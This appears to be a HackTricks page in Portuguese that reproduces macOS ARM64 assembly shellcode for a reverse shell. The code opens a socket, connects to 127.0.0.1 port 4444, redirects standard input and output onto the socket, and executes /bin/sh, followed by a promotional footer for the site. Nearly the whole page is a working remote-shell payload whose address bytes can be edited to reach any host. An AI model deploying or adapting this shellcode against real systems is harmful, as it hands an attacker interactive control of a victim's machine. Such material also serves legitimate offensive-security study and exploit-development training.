De [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell para **127.0.0.1:4444**
|
|
```armasm
|
|
.section __TEXT,__text
|
|
.global _main
|
|
.align 2
|
|
_main:
|
|
call_socket:
|
|
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
|
|
mov x16, #97
|
|
lsr x1, x16, #6
|
|
lsl x0, x1, #1
|
|
mov x2, xzr
|
|
svc #0x1337
|
|
|
|
// save s
|
|
mvn x3, x0
|
|
|
|
call_connect:
|
|
/*
|
|
* connect(s, &sockaddr, 0x10)
|
|
*
|
|
* struct sockaddr_in {
|
|
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
|
|
* sa_family_t sin_family; // AF_INET = 2
|
|
* in_port_t sin_port; // 4444 = 0x115C
|
|
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
|
|
* char sin_zero[8]; // Don't care
|
|
* };
|
|
*/
|
|
mov x1, #0x0210
|
|
movk x1, #0x5C11, lsl #16
|
|
movk x1, #0x007F, lsl #32
|
|
movk x1, #0x0100, lsl #48
|
|
str x1, [sp, #-8]
|
|
mov x2, #8
|
|
sub x1, sp, x2
|
|
mov x2, #16
|
|
mov x16, #98
|
|
svc #0x1337
|
|
|
|
lsr x2, x2, #2
|
|
|
|
call_dup:
|
|
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
|
|
mvn x0, x3
|
|
lsr x2, x2, #1
|
|
mov x1, x2
|
|
mov x16, #90
|
|
svc #0x1337
|
|
mov x10, xzr
|
|
cmp x10, x2
|
|
bne call_dup
|
|
|
|
call_execve:
|
|
// execve("/bin/sh", 0, 0)
|
|
mov x1, #0x622F
|
|
movk x1, #0x6E69, lsl #16
|
|
movk x1, #0x732F, lsl #32
|
|
movk x1, #0x68, lsl #48
|
|
str x1, [sp, #-8]
|
|
mov x1, #8
|
|
sub x0, sp, x1
|
|
mov x1, xzr
|
|
mov x2, xzr
|
|
mov x16, #59
|
|
svc #0x1337
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|